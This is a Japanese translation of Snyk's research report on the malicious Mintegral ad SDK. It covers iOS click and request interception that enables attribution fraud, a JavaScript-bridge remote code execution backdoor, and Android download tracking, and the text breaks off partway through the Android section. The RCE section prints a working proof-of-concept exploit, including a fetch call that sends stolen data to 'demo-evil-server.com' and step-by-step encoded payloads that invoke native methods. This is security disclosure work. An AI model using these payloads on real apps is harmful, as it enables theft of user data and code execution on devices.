Skip to main content

SourMint:悪意あるSDKに関する調査レポート

著者
Headshot of Kirill Efimov

Kirill Efimov

malicious code, ad fraud

2020年8月24日

0 分で読めます

概要

Mintegral SDKは、iOSとAndroidの両方に対応した、広く利用されているモバイルアプリ広告SDKです。数千のモバイルアプリで使用され、月間ダウンロード数は10億回を超えています。アプリ開発者は、このSDKを使ってサードパーティ広告を掲載し、アプリを収益化しています。

Snykのセキュリティリサーチチームは、Mintegral SDKに関する重大な開示を2件行いました。最初の開示は2020年8月に公開され、SDKのiOS版で行われていた過剰なデータ収集とクリックハイジャックを明らかにしました。2件目の開示では、リモートコード実行を可能にするバックドアがSDKのiOS版で見つかったほか、Android版に関する新たな調査結果も明らかになりました。

この記事では、ブログ記事で取り上げた内容を超えて、調査の技術的な詳細と調査結果を共有します。

この調査レポートは、次の3つのセクションで構成されています。

  • 「過剰なデータ収集」では、iOS SDKにおけるすべてのHTTPリクエストの傍受と記録について説明します。2020年8月24日に公開した内容で、Mintegral SDKのiOS版におけるURLとリクエストの追跡機能を解説します。

  • 「SDKのiOS版におけるバックドアがリモートコード実行を可能に」では、2020年10月15日に公開した、MintegralAdSDKのリモートコード実行機能について説明します。

  • 「AndroidでのダウンロードURL追跡」では、Mintegral SDKのAndroid版で見つかったさまざまな問題について説明します。

iOSでの過剰なデータ収集[2020年8月]

概要

この調査は、2020年8月時点ではオープンソース版を入手できなかったため、Mintegral iOS SDKのバイナリ版を対象に実施しました。調査には、GitHubからダウンロードできるSDKバージョン6.3.5.0(x86アーキテクチャ)を使用しました。

Mintegral iOS SDKのバージョン5.5.1以降には、情報漏えいにつながる悪意ある機能が含まれていることを確認しました。簡単に言うと、このSDKはユーザーのリンククリックと、影響を受けたアプリ内のネットワークアクティビティを監視します。この監視は、開発者や広告メディエーションプラットフォームがSDKを有効にしていなくても行われます。また、プロキシ、シミュレーター、脱獄済みデバイスを識別して、悪意ある動作を隠そうとします。

メソッドスウィズリング

Mintegral SDKは、メソッドスウィズリングと呼ばれる手法を使って、実行時にUIApplication openURLメソッドとSKStoreProductViewController loadProductWithParametersメソッドの実装を置き換えます。また、カスタムのNSURLProtocolクラスを登録します。

これらのフックは、アプリ内でユーザーがクリックしたHTTPリクエスト、開いたURL、App Storeリンクに関するあらゆる情報を送信し、アプリのユーザーを監視するために使われます。

HTTPリクエストのヘッダーとURL自体にも機密情報が含まれる可能性がありますが、IDFA(広告識別子)と組み合わせることで、Mintegralは広告アトリビューション詐欺を実行できます。

広告アトリビューション詐欺

アプリを収益化するため、開発者は広告プラットフォームを導入することがよくあります。広告プラットフォームは、ユーザーが広告をクリックした後にアプリがインストールされるたびに、広告主から収益を得ます。開発者が複数の広告プラットフォームをアプリで利用することも珍しくありません。そのため、インストールのアトリビューションをどの広告プラットフォームに付与するかを判断するため、各クリックはアトリビューションプロバイダー(モバイル計測プラットフォーム、MMP)に記録されます。

次の図は、Mintegralの悪意ある機能の動作を示しています。この例では、ユーザーは「別のプラットフォーム」の広告をクリックしました。しかし、Mintegralはアプリで開かれたすべてのURLを傍受できるため、そのクリックが自社広告から発生したように見せかけ、アトリビューションプロバイダーに追加のリクエストを送信できます。処理の全体像は次のとおりです。

  1. ユーザーが、Mintegral以外の広告ネットワークが配信したアプリ内広告のリンクをクリックし、App Storeから新しいアプリをインストールします。 

  2. 広告ネットワークのSDKが、クリック情報をバックエンドプラットフォームに送信します。

  3. メソッドスウィズリングでiOSのイベントハンドラーに挿入されたコードを通じてクリックイベントを傍受したMintegralは、クリックデータを自社サーバーに記録します。

  4. 広告ネットワークが、アトリビューションプロバイダーにクリック通知を登録します。

  5. Mintegralも、アトリビューションプロバイダーにクリック通知を登録します。

アトリビューションプロバイダーがインストールイベントと登録済みのクリック通知を照合すると、一致する通知が2件見つかります。ラストタッチアトリビューションモデルでは、Mintegralのクリック通知にアトリビューションが付与され、もう一方の広告ネットワークのクリック通知は却下されます。

モバイルアプリが番号付きのデータフローを通じて、App Store、別のプラットフォーム、アトリビューションプロバイダー、Mintegralに接続する様子を示す図。

Snykは大手アトリビューションプロバイダーと協力し、Mintegralがクリックデータを使って偽のクリック通知を生成していることを確認しました。調査を通じて同プロバイダーは、偽のクリック通知が生成され、その結果、広告クリックのアトリビューションが誤ってMintegralに付与されていることを示しました。

デモアプリ

攻撃を実証するため、デモアプリをセットアップしました。このアプリでは、悪意あるopenURLフックの動作を確認できます。デバッグ用プロキシを使って、すべてのネットワークトラフィックを傍受します。

アプリを初期化するには、Mintegralのドキュメントにある次のコードスニペットを使います。

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

SDKを初期化したら、ボタンをクリックしてアプリからexample.comを開きます。

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

アプリを起動すると、プロキシ上でMintegral SDKからのリクエストがすぐにいくつか確認できます。

  • GET https://setting.rayjump.com/sdk/customid

  • GET https://setting.rayjump.com/setting

  • POST https://analytics.rayjump.com

診断テストボタンが表示されたiPhoneシミュレーターと、キャプチャしたリクエストのクエリ文字列およびデバイス詳細を表示するCharles Proxy

設定

https://setting.rayjump.com/settingからの応答は、さまざまなオプションを含むJSONオブジェクトです。次の表に、今回の調査で特に注目したフィールドを示します。

JSONフィールド

説明

csw

アンチデバッグ機能を有効または無効にします。

cou

openURLメソッドのフックを有効または無効にします。 

cdai

漏えいした情報の送信先URL(*)。

cspn

StoreKitメソッドのフックを有効または無効にします。

cud

NSURLProtocolのフックを有効または無効にします。

cudl

NSURLProtocolで追跡するURLの配列(**)。

* 今回の場合はLdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh= で、デコードするとhttps://n.systemlog.me/logです。

** 今回の場合はkBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==で、デコードすると["itunes.apple.com","apps.apple.com"]です。

ペイロードのデコード

ボタンをクリックしてexample.comを開くと、さらに2件のリクエストが確認できます。1件目は想定どおりhttp://example.comへのGETリクエストです。2件目はhttps://n.systemlog.me/logへのPOSTリクエストです。

フック検出とランタイム設定のボタンを表示するiPhoneシミュレーターと、POSTリクエストログを表示するCharles Proxy

リクエストの本文はBase64でエンコードされているように見えます。しかし、実際にはBase64エンコードされた文字列ではありません。Mintergral SDKは独自のエンコード/デコードロジックを実装しており、+[MTGBase base64DecodeString:]および +[MTGBase base64CleverDecodeString:]にその実装があります。MTGBaseはSDKの公開ヘッダーで公開されておらず、開発者がアクセスすることを想定していない点に注意してください。

ペイロードのデコードには、次のコードスニペットを使います。

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Sourmintのセキュリティ分析で、デコードされたペイロードデータとiOSアプリのリクエスト詳細を示すターミナル画面

ペイロードには、IDFA、IDFV、OSバージョン、ユーザーエージェントなど、大量のデータが含まれています。また、「clever」というフィールドも含まれており、これもエンコードされています。base64DecodeStringを使ってデコードできます。

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

ご覧のとおり、URL、スタックトレース、コントローラーやメソッド名などの追加情報が含まれています。

さらに詳しく

前述のとおり、Mintegral SDKはクローズドソースです。ここでは、x86アーキテクチャ向けのバージョン6.3.5.0を調べます。

このバイナリは、複数の別のバイナリを含むMach-O実行ファイルです。調査対象のコードは_CXX_CXX_OperationPKTask.oにあります。

クラスを調べると、+[_CXX_CXX_OperationPKTask load]が確認できます。このメソッドは、クラスが実行時に追加されると自動的に実行されます。つまり、SDKをCocoaPods経由でインストールすると、開発者が実際にSDKを使っているかどうかにかかわらず、悪意あるロジックが初期化されます。

loadメソッドはいくつかの呼び出しを実行し、最終的に___cxxwebk_init_vwに到達します。このメソッドはアンチデバッグ保護フラグが有効かどうかを確認し、フラグがfalseの場合、またはデバッグが無効の場合にフックを初期化します。

CSW、デバッグ防止保護の呼び出し、COU、cspnのラベルが注釈されたObjective-Cの逆アセンブル表示

フックの初期化は、前述の設定リクエストに依存します。次の表は、応答JSONのフィールドとMTGSettingクラスの対応関係を示しています。

JSONフィールド

MTGSettingプロパティ

説明

csw

cSrtW

アンチデバッグ機能を有効または無効にします。

cou

cOpenURL

openURLメソッドのフックを有効または無効にします。 

cspn

cPackageName

StoreKitメソッドのフックを有効または無効にします。

アンチデバッグロジック

デバッグ対策のロジックを示すコードのスクリーンショット。赤い注釈で /Applications/Cydia.app と /Library/MobileSubstrate/MobileSubstrate.dylib を指している

__cxx_cxx_op_isInSuperViewFrame関数は、次の場合にtrueを返します。

  • デバイスのプラットフォームが「シミュレーター」である。

  • デバッガーがアタッチされている(____mvpmvvm_isDebuggerAttached_block_invokeで実装)。

  • デバイス上に次のファイルのいずれかが存在する(脱獄の兆候)。

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • プロキシが有効になっている(CFNetworkCopySystemProxySettingsを使用)。

openURLのメソッドスウィズリング

次のスクリーンショットのロジックは___cxxwebkmcouitninapoメソッドに実装されています。このメソッドは、該当するフラグが有効な場合に___cxxwebk_init_vwから呼び出されます。

メソッドスウィズリング、ブロックの呼び出し、オブジェクトの保持処理を含むObjective-Cランタイムコードを表示したダークテーマのコードエディター

上のスクリーンショットは、メソッドスウィズリングの実装を示しています。次の呼び出しを実行します。

  1. 「openURL:」メソッドのセレクターを取得するNSSelectorFromString 。

  2. UIApplicationのクラス記述子を取得するNSClassFromString。

  3. メソッド記述子を取得するclass_getInstanceMethod。

  4. メソッドの実際の実装を取得するmethod_getImplementation。

  5. 次に、_____cxxwebkmcouitninapo_block_invoke_2を呼び出した後、元のopenURLを呼び出すコードブロックを定義します。

  6. method_setImplementationを使って、元のopenURLを前の手順で作成したコードブロックに置き換えます。

openURL:options:completionHandler:メソッドでもほぼ同じ処理が行われますが、その前にシステムのバージョンを確認します(ハンドラーが初めて導入されたのはiOS 10です)。

ここまでで、フックの適用方法がわかりました。次に、フック自体の実装(_____cxxwebkmcouitninapo_block_invoke_2)を見ていきます。

openURLフックの実装

実際の実装は___cxxwebkmcoulszメソッドにあります。ここでは、アンチデバッグチェックがもう1つ実行され、その後__mc_notifyInHouseフラグが確認されます。このフラグが1の場合、何も行いません。

これは、Mintegralが配信した広告でユーザーがクリックしたマーケティングURLをすべて無視するためです。次のスクリーンショットでは、+[MTGBase mtgOpenURL:options:completionHandler:]に該当するロジックが確認できます。

openURL操作を呼び出すObjective-Cメソッドのコードが表示された、ダークテーマのコードエディター。

次のコードでは、バックトレースデータもシリアライズして、https://n.systemlog.me/logに送信するペイロードに含めて漏えいさせていることがわかります。

+[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]の呼び出しにブレークポイントを設定できます。次のスクリーンショットで、呼び出し時の引数を確認できます。

iOSアプリのViewControllerでブレークポイントを設定し、アセンブリコード、スレッド制御、LLDBの出力を表示しているデバッガーウィンドウ
  • 開かれたURL(http://example.com?foo=bar&x=y)。

  • クリックが発生したクラス(ViewController)。

  • クリックが発生したメソッド(openURLWithOptions:)。

  • バックトレース情報。

もう1つ興味深い関数は_nsh_id_by_ccです。競合SDKの識別を担っているようです。次のスクリーンショットに、該当するロジックを示します。

Appleのフレームワーク名やサービス名を含む、Objective-Cのリバースエンジニアリングコードが表示されたダークテーマのコードエディター。

+[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]に戻ると、ペイロードを+[MTGBase base64EncodeString:]でエンコードした後、新しいコードブロックを作成し、_dispatch_asyncを使って実行します。

そこから、追加のペイロード変換を伴う一連の呼び出しが行われ、最終的に-[_MC_ApiManager AFRequestWithUrl:paras:success:failure:]に到達します。このメソッドは、MTGSettingのcollectDomainUrl(デフォルトではhttps://n.systemlog.me/log)にPOSTリクエストを送信します。

非公開URLが漏えいする様子を示す動画

A demonstration of the SourMint Malicious SDK from Mintegral

SKStoreProductViewControllerのフック

SKStoreProductViewControllerは、ユーザーがApp Storeからメディアを購入できるページを提供するビューコントローラーです。

loadProductWithParameters:completionBlock:メソッドは、表示する新しい商品画面を読み込みます。

フックの実装に関する技術的な詳細には立ち入らず、デモアプリケーションに次のコードスニペットを追加しました。

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];
}

その結果、「clever」フィールドに次のペイロードを含むPOSTリクエストがhttps://n.systemlog.me/logに送信されることを確認できました。

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}]

ご覧のとおり、リクエストには商品IDが含まれています。これで証明されました。

NSURLProtocolのフック

NSURLProtocolクラスを使うと、開発者はAppleのURLローディングシステムの動作を再定義できます。Mintegral SDKはNSURLProtocolの悪意ある実装を登録しており、リモートから設定することで、アプリケーションが送信するあらゆるリクエストを傍受し、URLやHTTPヘッダー(Authorizationヘッダーを含む)を追跡できます。

アプリケーション開発者にとって、これはAPIトークン、Cookie、Basic認証ヘッダーがMintegralによって収集される可能性があることを意味します。

SDKが悪意あるコードのこの部分をどのように有効化するかを理解するため、___cxxwebk_init_vwに戻って確認します。

「cud」「cudl」「NSURLProtocol hook init.」とラベル付けされたObjective-Cのリバースエンジニアリング用注釈が表示された、暗い背景のコード画面のスクリーンショット。

上のスクリーンショットが示すように、フックを有効化するにはcudフラグを有効にし、cudl配列を空にしない必要があります。

次のスクリーンショットは、上記のメソッドから呼び出される___cxxwebkterisiuuxx関数の一部を示しています。

クラスを初期化し、NSURLProtocolのサブクラスを登録するObjective-Cランタイムコードを表示した暗色のコードエディター

___cxxwebkterisiuuxx関数内のコードは、次の処理を実行します。

  1. NSURLProtocolを継承するクラスを作成します(objc_registerClassPair、objc_allocateClassPair)。

  2. 実質的にインターセプターとなるcanInitWithRequest:の実装を追加します(class_addMethod)。

  3. +[NSURLProtocol registerClass:]を呼び出し、そのクラスをURLローディングシステムに登録します。

悪意あるコードが収集するデータを検証するため、調査では次のコードスニペットを追加しました。

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

その結果、「clever」フィールドに次のペイロードを含むPOSTリクエストがhttps://n.systemlog.me/logに送信されることを確認できました。

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

リクエストにはURLとAuthorizationヘッダーが含まれています。リクエスト本文は含まれていませんが、ヘッダーにも機密データが含まれていることは珍しくありません。個人を特定できる情報が含まれる可能性さえあります。たとえば、APIでJWTトークンを使用している場合、メールアドレスやユーザー名がトークン内に格納されていることがあります。

結論

調査では、Mintegralの開発者がSDKの悪意ある動作を隠すために用いている興味深い手法を数多く確認しました。特定の地域における特定のアプリケーションでのみフックを有効化していたため、悪意あるコードは1年以上にわたり、注目されることなく残っていました。

時系列を見ると、悪意あるSDKの最初のバージョン(5.5.1)は2019年7月17日に公開されました。その後のすべてのバージョンにも、同じ悪意ある機能が含まれていたことがわかりました。

このSDKの悪意ある活動は、多くの人気アプリケーションに影響を及ぼしました。この調査が実態を明らかにすることで、今後、広告ネットワークに対する監視とプライバシー管理が強化されることを期待しています。

iOSでのリモートコード実行(RCE)[2020年10月]

要約

SDK全体でJavaScriptとの通信に使われるMTGBaseBridgeWebViewクラスを発見しました。このクラスはバックドアとして機能し、ネイティブアプリケーションコードから任意の関数を呼び出せるようにします。

Mintegralサーバーが個人ユーザーデータと悪意のあるバナーペイロードを、ネイティブコードと埋め込み型UIWebViewを備えたスマートフォンアプリに送信する様子を示す図。

上の画像は、リモートコード実行の仕組みを簡略化して示した図です。

差分分析

最初の公開情報開示の後、MintegralはSDKのオープンソース版のリリースを発表しました。

そこで、新しいオープンソース版と、CocoaPodsで配布されていた以前のバイナリ版を比較しました。旧バージョンのソースコードはありませんでしたが、クラス名の比較は可能でした。そのため、バイナリから.oファイルを抽出し、オープンソース版の.hファイルとシンボルを比較しました。

予想どおり、以前発見した悪意ある_CXX_CXX_OperationPKTaskコンポーネントは削除されていましたが、差分から別の問題が見つかりました。次のクラスが目に留まりました。

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

これらのファイルの用途を理解するため、バイナリを詳しく調べることにしました。

影響を受けるバージョン

MintegralAdSDKの6.5.0.0以前のすべてのバージョン(6.5.0.0を含む)。2020年9月10日に公開されたバージョン6.6.0.0には、本稿で説明するバックドア機能はありません。

ブリッジの実装

まずMTGRemoteCommandParserクラスの使用箇所を調べたところ、MTGBaseBridgeWebViewクラス内の-(void)handleNativeObject:parameters:の1か所だけでした。

実装を見ると、-(void)handleNativeObject:parameters:はparameters引数を解析するためにMTGRemoteCommandParserを使い、MTGCommandDispatcherクラスの-(void)dispatchCommand:feedback:メソッドを呼び出すことがわかります。

一見すると-(void)handleNativeObject:parameters:は使われていないように見えますが、実際はそうではありません。JavaScriptコードからどのように呼び出せるか見てみましょう。

MTGBaseBridgeWebViewはWKNavigationDelegateプロトコルの-(void)webView:decidePolicyForNavigationAction:decisionHandler:メソッドを実装しています。このメソッドは、Webビューでナビゲーションが発生するたびに呼び出されます。つまり、JavaScript内でlocation.href=somethingを呼び出すだけで、このメソッドを起動できます。SDKのオープンソース版では、ナビゲーションリクエストURLを解析する正規表現が見つかりました。mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*)。

正規表現でURLの構成要素を解析し、関数を呼び出すObjective-Cコードが表示された、ダークテーマのコードエディター。

上のスクリーンショットにある-(void)callFunctionWithName:fucId:param:は、selfのfucNameセレクターを呼び出しているだけです。

したがって、MTGBaseBridgeWebViewの-(void)handleNativeObject:parameters:を呼び出すには、次のJavaScriptコードを記述します。location.href = 'mv://1:fucId/handleNativeObject?<parameters>'。

なお、執筆時点では、ここまで説明した内容はSDKの最新バージョンとオープンソース版の両方で有効です。唯一の例外は、最新リリースでは-(void)handleNativeObject:parameters:が削除されていることです。

リモートメソッド呼び出し

MTGInvocationBoxingやその他のクラスの実装全体については説明しません。代わりに、リモートメソッドを起動する悪意あるJavaScriptコードをどのように作成できるかを示します。

以下の概念実証では、+(void)save:と+(NSString*)loadという2つのメソッドを持つNoteRepositoryクラスを備えた「シンプルなメモ」アプリを攻撃します。

Mintegralのサーバーを独自のサーバー実装に置き換えて、悪意あるJavaScriptコードを注入します。このアプリケーションとサーバーのソースコード全体はこちらにあります。

このアプリケーション向けの悪意あるJavaScriptコードは次のとおりです。

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

値

デコード後

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

このコードはNoteRepositoryクラスの+(NSString*)loadメソッドを呼び出し、その結果をdemo-evil-server.com/logエンドポイントに送信します。

このコードは前のセクションで説明したものと同じ難読化手法を使っています。ただし、この概念実証には、エンコードとデコードを実行するJavaScriptコードがすでに含まれています(banner.htmlを参照)。

完全なリモートコード実行(RCE)の実現

上の例では、SDKを使って任意のクラスの静的メソッドを呼び出せることを示しました。このセクションでは、それを利用して任意のネイティブコードを実行する方法を説明します。

デモとして、メッセージが「PWNED!」のUIAlertControllerを作成する方法を示します。

参考として、次のObjective-Cコードを見てみましょう。

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

呼び出しの間、UIAlertControllerのインスタンスを作成して保持する方法、共有アプリケーションインスタンスを取得する方法、さらにそのインスタンスを使ってpresentViewController:animated:completion:を呼び出す方法を明らかにする必要があります。

ステップ1:UIAlertControllerクラスへの参照を保存する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

MTGRemoteCommandParserがサポートするオブジェクト参照は次の2種類です。

  • static:名前でクラスオブジェクトへの参照を取得します。

  • singleton:次の複数のステップを実行します。

    • 名前でクラスを取得します(この例ではMTGSetting)。

    • クラスに対してsharedInstanceメソッドを実行します。[MTGSetting sharedInstance]

      はObjective-Cでの記述です。

    • valueForKey:を使って、ドット区切りのプロパティを取得します。この例では[[MTGSetting sharedInstance] valueForKey:@"jsonTitles"]になります。

jsonTitlesはNSMutableDictionaryのインスタンスにすぎません。このエクスプロイトでは、参照を一時的に保存するために使います。MTGRemoteCommandParserがサポートするパラメーターの型は次のとおりです。

  • 0:数値。

  • 1:参照。

  • 2:文字列。

  • 4:nil。

参照(1)型を使うと、メソッドの引数としてオブジェクトへの参照を渡せます。重要なのは、uniqueIdentifierがトップレベルのuniqueIdentifierとまったく同じ方法で解析されるため、singleton型もサポートされることです。

ステップ2:UIAlertControllerクラスの新しいインスタンスを割り当てる

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

この例では、singleton_MTGSetting.jsonTitles.a.alloc.initが重要な役割を果たします。すでに見たとおり、singleton_MTGSetting.jsonTitles.aを使うとUIAlertControllerクラスへの参照を取得できます。しかし、なぜ[[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"]が機能するのかを確認する必要があります。valueForKey:のドキュメントには、次のように記載されています。

valueForKey:が返す値を見つけるために使用する検索パターンについては、Key-Value Coding Programming GuideのAccessor Search Patternsで説明されています。

valueForKey:は、引数を取らないメソッドであれば、名前を指定して任意のメソッドを呼び出せることがわかりました。

これでUIAlertControllerクラスの新しいインスタンスを作成し、jsonTitles辞書のbプロパティから参照できるようになります。

ステップ3:「PWNED!」メッセージを設定する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

このステップは簡単です。UIAlertControllerのインスタンスでsetMessage:を呼び出し、メッセージにPWNED!を設定します。

ステップ4:UIApplicationクラスへの参照を保存する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

このステップはステップ1と同様です。UIApplicationクラスへの参照をjsonTitles.xに保存します。

ステップ5:アラートを表示する

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

複雑に見えますが、これまでのステップで紹介したさまざまな手法を組み合わせているだけです。Objective-Cコードでは次のようになります。

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

これで、リモートコード実行によってアラートを表示できることを示しました。ペイロード全体はこちらにあります。各ステップを順番に呼び出すため、アクションの配列を作成し、それぞれのアクションの完了後にwindow.WindVane.onSuccessコールバック内で次のアクションを実行しました。

悪意ある広告を使ってエクスプロイトを配信し、クリップボードの内容を漏えいさせる様子を示す動画

Remote Code Execution using Mintegral's MTGInvocationBoxing

JavaScriptエクスプロイトのソース

Mintegral SDKがJavaScriptコードを介してネイティブのリモートコード実行を可能にすることは、すでに確認されています。ただし、そのJavaScriptコードはすべてMintegralが所有し、制御しています。しかし興味深いことに、広告主自身が作成したインタラクティブ広告を通じても、同じことを実現できます。広告はJavaScriptベースのウェブページです。

理論上、広告主はJavaScriptエクスプロイトを含む悪意のある広告を配信することで、特定のユーザーグループや特定のデバイス群を正確に狙うことができます。

結論

MintegralがSDKにリモートでネイティブメソッドを呼び出す機能を含めた理由は推測するしかありませんが、MTGCommandDispatcherやMTGRemoteCommandといったクラス名から、これは意図的なものだったと考えられます。また、公開後すぐにMintegralはこのコードを削除しました。当時、私たちはその存在を把握していませんでした。

Androidでのダウンロード追跡[2020年10月]

概要

この調査記事の前の2つのセクションでは、SnykのセキュリティリサーチチームがMintegral SDK内の悪意ある挙動を発見した経緯を紹介しました。この挙動はiOSデバイスで悪用され、広告詐欺、データ漏えい、リモートコード実行(RCE)につながる可能性があります。今回は、SDKのAndroid版についてさらに調査しました。その内容をこのセクションで説明します。
主な調査結果は次のとおりです。

  1. ブラウザーとアプリの両方で、通常のファイル、メールの添付ファイル、Googleドキュメントのリンクなど、GoogleからのダウンロードURIを追跡。

  2. 正規のものかどうかを問わず、すべてのAPKダウンロードを追跡。

このデータはMintegralのサーバーに送信されます。

確認された挙動

Googleドキュメントのリンクをダウンロードしたところ、アプリからhttps://n.systemlog.meへの次のリクエストが送信されていることを確認しました。

ヘッダーとURLエンコードされたフォームデータを含むPOSTリクエストを表示する、Burp Suite風のHTTPリクエストエディター

これは、iOS SDKでMintegralのサーバーにデータを送信するために使われていたものと同じエンドポイントです。ペイロードはエンコードされていますが、SDKバイナリ内のデコード処理を使うと、次の内容が得られます。

